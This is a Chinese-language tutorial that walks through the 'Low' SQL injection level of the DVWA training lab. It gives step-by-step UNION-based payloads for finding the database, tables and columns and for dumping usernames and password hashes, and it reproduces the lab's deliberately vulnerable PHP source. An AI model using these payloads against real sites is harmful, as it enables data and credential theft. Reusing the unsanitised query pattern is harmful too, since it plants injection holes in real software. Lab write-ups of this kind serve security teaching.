文章目錄
Low
SQL Injection:
(1)判斷
判斷是否存在注入
猜測SQL語句:
http://www.xxx.com/xxx.php?id=1 假設ID爲存在注入的參數
http://www.xxx.com/xxx.php?id=1‘ 語句報錯
http://www.xxx.com/xxx.php?id=1‘ and 1=1# 頁面正常返回結果
http://www.xxx.com/xxx.php?id=1’ and 1=2# 頁面返回錯誤
如果以上4個測試條件結果全部滿足,那麼就可能存在sql注入漏洞。
判斷閉合方式
若
http://www.xxx.com/xxx.php?id=1' # 返回結果id=1一致,判斷單引號閉合
常用的閉合方式還有:
id = “input_id”
id = (“input_id”)
id = (‘input_id’)
判斷注入類型(數字型/字符型)
輸入
888 or 1=1
頁面無回顯
888’ or ‘1’='1
打印所有
返回了多個結果,說明存在字符型注入。
(2)用order by確定列數
輸入1’ or 1 = 1 order by 1 #,查詢成功:
輸入1’ or 1 = 1 order by 3 #
查詢報錯,最後一個頁面正確回顯的數是2,所以可以得出爲2列。
(3)用 union select確定顯示的字段
1’ union select 1,2#
說明執行的SQL語句爲select First name,Surname from 表 where ID=’id’…
(4)獲取當前數據庫
1' union select 1,database()#
這裏的數字1只是爲了湊後面的列數,union查詢前後的列數要一致纔行
查詢當前的數據庫名和當前的用戶名
1' union select table(),database()#
(5)注入出當前數據庫所有的表名
方法一:回顯一條結果:
1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
法二:回顯多條結果:
id=-1’ union select 1,table_name from information_schema.tables
where table_schema=database() #
(6)注入出某一個表中的全部列名
(表名爲’users’)
方法一:回顯在一條結果
1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)#
方法二:回顯在多條結果
1’ union select 1,column_name from information_schema.columns where table_name = ‘users’#
說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
(7)注入出字段內容
(字段名爲user、password)
方法一:回顯在一條結果
1’ union select (select group_concat(User) from users),(select group_concat(Password) from users) #
方法二:回顯在多條結果
1’ union select user,password from users #
low SQL Injection源碼
SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>